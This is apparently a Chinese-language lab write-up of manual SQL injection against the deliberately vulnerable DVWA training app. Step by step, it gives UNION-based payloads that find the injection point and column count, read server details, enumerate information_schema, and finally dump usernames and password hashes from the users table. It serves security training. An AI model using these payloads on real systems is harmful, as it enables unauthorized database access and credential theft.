1、判断是否存在SQL注入点
DVWA安全级别为“Low”
(1)判断是否存在漏洞
Id值输入为1
,发现正常显示
Id值输入为1’
,发现报错
判断存在sql注入漏洞
(2)判断是否存在数字型漏洞
输入1 and 1=1
显示正常
输入1 and 1=2
,显示仍然正常
故,判断不存在数字型漏洞
(3)判断是否存在字符型漏洞
输入1’ and ‘1’=’1
,正常显示
输入1’ and ‘1’=’2
,没有显示结果
故判断,此处存在一个sql注入漏洞,并且是字符型的漏洞
2、判断数据表的列数
使用order by函数,以及二分法判断列数
(1)第一步测试(10列)
输入1' order by 10 #
,显示错误,故不存在10列
(2)第二步测试(5列)
1' order by 5 #
,结果还是错误,故不存在5列
(3)第三步测试(3列)
1' order by 3#
,还是不正确,故也不存在3列
(4)第四步测试(2列)
1' order by 2#
显示出了结果,故判断该数据表存在两列数据
3、联合查询,判断回显位置
通过order by函数判断该数据表存在两列数据
使用1' union select 1,2 #
,查看两列数据是否都正常显示
结果判断,两列数据都能够正常显示
4、爆出MYSQL版本号、MYSQL连接用户、当前数据库、安装路径、操作系统等3个关键信息
(1)MYSQL版本号—>version()函数
1' union select version(),2 #
显示当前数据库版本号为5.5.65-MariaDB
(2)MYSQL连接用户—>session_user()函数
1' union select session_user(),2 #
显示当前数据库连接的用户为root@localhost
(3)当前数据库—>database()
1' union select database(),2 #
显示当前数据库名称为dvwa
(4)安装路径—>@@basedir
1' union select @@basedir,2 #
数据库安装路径为/usr
(5)操作系统—>@@version_compile_os
1' union select @@version_compile_os,2 #
操作系统为Linux
5、最终爆出当前使用的数据库名称、数据表名称、字段名称、以及关键的字段值(比如用户名、密码等)。
(1)数据库名称
1' union select schema_name,2 from information_schema.schemata#
爆出当前存在四个数据库,分别为information_schema、dvwa、mysql、performance_schema
(2)数据表名称
1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
爆出dvwa数据库中有两个表,分别为guestbook表和users表
(3)字段名称
1' union select column_name,2 from information_schema.columns where table_name='users'#
爆出users表中的字段值有user_id,first_name,last_name,user,password,avatar,last_login,failed_login这几个字段
(4)关键的字段值(比如用户名、密码等)
1' union select user,password from dvwa.users#
成功爆出users表中所有用户的账号和密码